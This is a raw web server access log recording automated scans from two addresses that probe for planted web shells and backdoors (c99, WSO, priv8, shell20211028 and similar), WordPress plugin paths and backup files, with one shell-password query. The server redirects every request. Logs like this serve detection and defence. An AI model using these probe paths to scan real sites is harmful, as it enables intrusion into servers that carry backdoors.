157.230.250.62 - - [23/Sep/2025:12:47:06 -0400] "GET /.well-known/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:06 -0400] "GET /badc0de.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:47:13 -0400] "GET /bacod.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:46:32 -0400] "GET /wp.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:46:36 -0400] "GET /admin.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:46:42 -0400] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:46:43 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:46:44 -0400] "GET /sa2.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:46:49 -0400] "GET /hmei7.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:46:55 -0400] "GET /home.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:47:03 -0400] "GET /bac0d.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:04 -0400] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:47:14 -0400] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:19 -0400] "GET /tolol.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:21 -0400] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:22 -0400] "GET /xt.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:36 -0400] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:39 -0400] "GET /kontolkejepit.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:40 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:47:59 -0400] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:01 -0400] "GET /c0de.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:48:07 -0400] "GET /sh3ll.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:48:22 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
3.9.17.39 - - [23/Sep/2025:12:48:29 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:12:48:30 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
157.230.250.62 - - [23/Sep/2025:12:48:37 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:40 -0400] "GET /.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:48:46 -0400] "GET /system.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:48:53 -0400] "GET /wp-content/themes/mero-magazine/ws.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:48:57 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:59 -0400] "GET /ewe.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:05 -0400] "GET /wp/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:08 -0400] "GET /kimak.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:11 -0400] "GET /wordpress/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:13 -0400] "GET /ak47.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:20 -0400] "GET /blog/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:47:28 -0400] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:32 -0400] "GET /xoxo.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:37 -0400] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:47:39 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:45 -0400] "GET /save_gallery.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:47:48 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:47:51 -0400] "GET /saves.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:47:56 -0400] "GET /save_video.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:48:00 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:48:15 -0400] "GET /repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:15 -0400] "GET /sh33l.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:48:21 -0400] "GET /adminer.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:48:23 -0400] "GET /rindex.php?action=add HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:25 -0400] "GET /Adminer.php5 HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:12:48:29 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
193.239.84.56 - - [23/Sep/2025:12:48:29 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:48:31 -0400] "GET /darkshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:48:37 -0400] "GET /..php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:48:45 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:48:51 -0400] "GET /error.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:48:55 -0400] "GET /inside.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:49:05 -0400] "GET /eue.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:49:20 -0400] "GET /sg.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:49:23 -0400] "GET /xianjing.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:27 -0400] "GET /wp-content/themes/astra/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:28 -0400] "GET /jembut.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:30 -0400] "GET /wp-includes/SimplePie/IRI-stream.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:34 -0400] "GET /amad.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:37 -0400] "GET /woh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:38 -0400] "GET /t00.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:49:43 -0400] "GET /Black.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:49:47 -0400] "GET /backup.zip HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:49 -0400] "GET /pi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:56 -0400] "GET /vaga.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:08 -0400] "GET /domaine.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:50:10 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:50:14 -0400] "GET /backup.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:21 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:50:31 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:50:36 -0400] "GET /.well-known/worm0.PhP7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:50:36 -0400] "GET /X.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:50:47 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:50:54 -0400] "GET /wp-admin/js/widgets/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:51:07 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:51:11 -0400] "GET /myshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:22 -0400] "GET /sheller.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:51:22 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:49:28 -0400] "GET /wp-content/plugins/simple-google-recaptcha/recaptcha.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:49:43 -0400] "GET /edit.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:49:50 -0400] "GET /r00t-s3c.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:49:55 -0400] "GET /include.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:50:02 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:50:02 -0400] "GET /abuhlail.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:12 -0400] "GET /d0maine.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:28 -0400] "GET /backup.phtml HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:50:28 -0400] "GET /wp-content/plugins/db-toolkit/dbtoolkit_import.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:50:33 -0400] "GET /x.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:40 -0400] "GET /m.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:50:41 -0400] "GET /.tmb/worm0.PhP7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:50:43 -0400] "GET /dark.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:49 -0400] "GET /v4team.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:53 -0400] "GET /offline.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:50:57 -0400] "GET /p8.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:03 -0400] "GET /rr57.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:16 -0400] "GET /yourshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:31 -0400] "GET /priv8.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:42 -0400] "GET /911.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:46 -0400] "GET /madspotshe%E2%80%8Bll.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:02 -0400] "GET /tmp/dz1.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:10 -0400] "GET /Symlink.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:17 -0400] "GET /images/c99.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:21 -0400] "GET /xd.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:26 -0400] "GET /images/xd.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:33 -0400] "GET /uploads/admin.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:38 -0400] "GET /wp-includes/pomo/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:52:41 -0400] "GET /wp-admin/c99.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:49 -0400] "GET /tmp/priv8.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:26 -0400] "GET /mysheller.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:51:38 -0400] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:51:38 -0400] "GET /extra-day.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:51:51 -0400] "GET /%E2%80%8Bc100.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:51:53 -0400] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:51:56 -0400] "GET /sym.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:06 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:52:06 -0400] "GET /dz1.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:13 -0400] "GET /sysadmin.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:14 -0400] "GET /wp-includes/block-supports/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:52:25 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:52:28 -0400] "GET /uploads/upload.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:34 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:52:37 -0400] "GET /Server.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:49 -0400] "GET /gelay.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:52:52 -0400] "GET /d00.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:52:57 -0400] "GET /bluff.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:52:57 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:53:10 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:12 -0400] "GET /kontiol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:16 -0400] "GET /shellbackdoor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:32 -0400] "GET /seven.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:47 -0400] "GET /c0m.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:10 -0400] "GET /c0y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:14 -0400] "GET /halaman HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:00 -0400] "GET /unk.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:01 -0400] "GET /al.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:07 -0400] "GET /savepng.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:18 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:19 -0400] "GET /dav.php HTTP/1.1" 301 795 "-" "-"
